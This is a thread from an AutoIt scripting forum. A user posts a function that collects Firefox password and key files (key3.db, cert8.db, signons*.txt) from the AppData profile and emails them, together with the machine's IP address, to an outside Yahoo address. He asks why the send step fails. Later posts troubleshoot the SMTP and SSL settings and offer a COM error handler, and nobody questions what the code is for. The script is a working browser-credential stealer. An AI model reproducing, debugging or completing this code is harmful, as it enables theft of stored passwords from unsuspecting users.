Sign in to follow this  
Followers 0
Fewmitz

Ahhh, Emails

18 posts in this topic

Func _INetSmtpMailCom($Body)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body
    $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1)
    $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1)
    $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1)
    $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1]
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
        $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
        If FileExists($S_Files2Attach[$x]) Then
            $objEmail.AddAttachment ($S_Files2Attach[$x])
        EndIf
    Next
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send
EndFunc

This should logically work, but I get an error once I get to the "$objEmail.Send" part, anyone have any ideas why?

It says that this action could not be completed with this object, or something similar to that, if that helps.

Share this post


Link to post
Share on other sites



No one knows? :)

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

What is the information you get from your Com Error handler ?

Edited by Jos

Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

From my who what now?

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

wat? look into com error handling.

Edited by sccrstvn93

Share this post


Link to post
Share on other sites

I did, but I didn't get anything useful out of my searches.

Share this post


Link to post
Share on other sites

could u post the error msg from it?

Share this post


Link to post
Share on other sites

I did in the first post >_>

"The requested action with this object has failed"

Share this post


Link to post
Share on other sites

i eamnt from the com error thing or is that it?

Share this post


Link to post
Share on other sites

That depends on what the "com error thing" is.

That pops up in a messagebox when I run the script.

Share this post


Link to post
Share on other sites

#11 ·  Posted (edited)

your error is likely that yahoo doesn't use ssl on their mail servers.

edit: added italic section.

that doesn't mean that you shouldn't install a com error handler so you know _what_ went wrong,

as opposed to _something_ went wrong.

Edited by flyingboz

Reading the help file before you post... Not only will it make you look smarter, it will make you smarter.

Share this post


Link to post
Share on other sites

So then if I changed it from Yahoo back to GMail, it would work again?

Share this post


Link to post
Share on other sites

So then if I changed it from Yahoo back to GMail, it would work again?

sigh.....

Is it so hard to believe that different vendors may set their servers up in different ways?


Reading the help file before you post... Not only will it make you look smarter, it will make you smarter.

Share this post


Link to post
Share on other sites

From my who what now?

Have a look in the AutoIt3 Helpfile under: AutoIt\Function Reference\Obj. Com Reference.

That page describes all about Com objects and also explains the "Com Error Handling"

Jos


Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

sigh.....

Is it so hard to believe that different vendors may set their servers up in different ways?

Because clearly my question was disbelief, and not me asking if gmail uses ssl.

Have a look in the AutoIt3 Helpfile under: AutoIt\Function Reference\Obj. Com Reference.

That page describes all about Com objects and also explains the "Com Error Handling"

Jos

Ah, good times. Thanks.

Share this post


Link to post
Share on other sites

I changed it to a gmail email address, but the error remains the same.

Share this post


Link to post
Share on other sites

This should logically work, but I get an error once I get to the "$objEmail.Send" part, anyone have any ideas why?

It says that this action could not be completed with this object, or something similar to that, if that helps.

ObjCreate("CDO.Message") worls on WINXP and not on WIN9x.

You may add this to cancel function on error after creating object:

Dim $oMyError = ObjEvent ("AutoIt.Error", "ErrorHandler")

Func ErrorHandler()
    $HexNumber = Hex($oMyError.number, 8)
        MsgBox(16, "CHYBA", "Při odesílání emailu došlo k chybě!" & @CRLF & @CRLF & _
            "Popis chyby: " & @TAB & $oMyError.description & @CRLF & _
            "Win. popis:" & @TAB & $oMyError.windescription & @CRLF & _
            "Číslo řádku: " & @TAB & $oMyError.scriptline & @CRLF & _
            "Číslo chyby: " & @TAB & $HexNumber & @CRLF & _
            "Objekt: " & @TAB & $oMyError.source)
        SetError(1)
    EndFunc

...

$objMessage = ObjCreate ("CDO.Message")
    If @error Then Return

Share this post


Link to post
Share on other sites

#18 ·  Posted (edited)

I'm on WinXP though.

I also don't want to add a cancel function, cause I want this to work, cause it's the only error left in the program.

Edited by Fewmitz

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0